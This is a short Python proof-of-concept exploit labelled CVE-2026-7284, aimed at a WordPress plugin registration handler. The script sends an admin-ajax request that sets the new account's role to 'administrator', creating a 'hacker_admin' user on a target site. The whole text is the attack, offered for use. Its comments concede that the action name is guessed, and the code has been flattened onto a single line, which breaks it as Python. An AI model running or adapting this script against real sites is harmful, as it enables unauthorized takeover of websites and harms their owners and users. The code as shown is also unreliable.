CVE-2026-7284

#!/usr/bin/env python3 import requests def exploit(target_url, username, email): # Target endpoint might be /wp-admin/admin-ajax.php or a specific custom route # Based on the function name 'easyel_handle_register', it's likely an action. url = f"{target_url}/wp-admin/admin-ajax.php" payload = { "action": "easyel_handle_register", # Generic guess based on function name "user_login": username, "user_email": email, "role": "administrator" # The vulnerable parameter } try: response = requests.post(url, data=payload) if response.status_code == 200: print(f"[+] Potential success. Check if user {username} was created as admin.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://target-site.com" exploit(target, "hacker_admin", "[email protected]")

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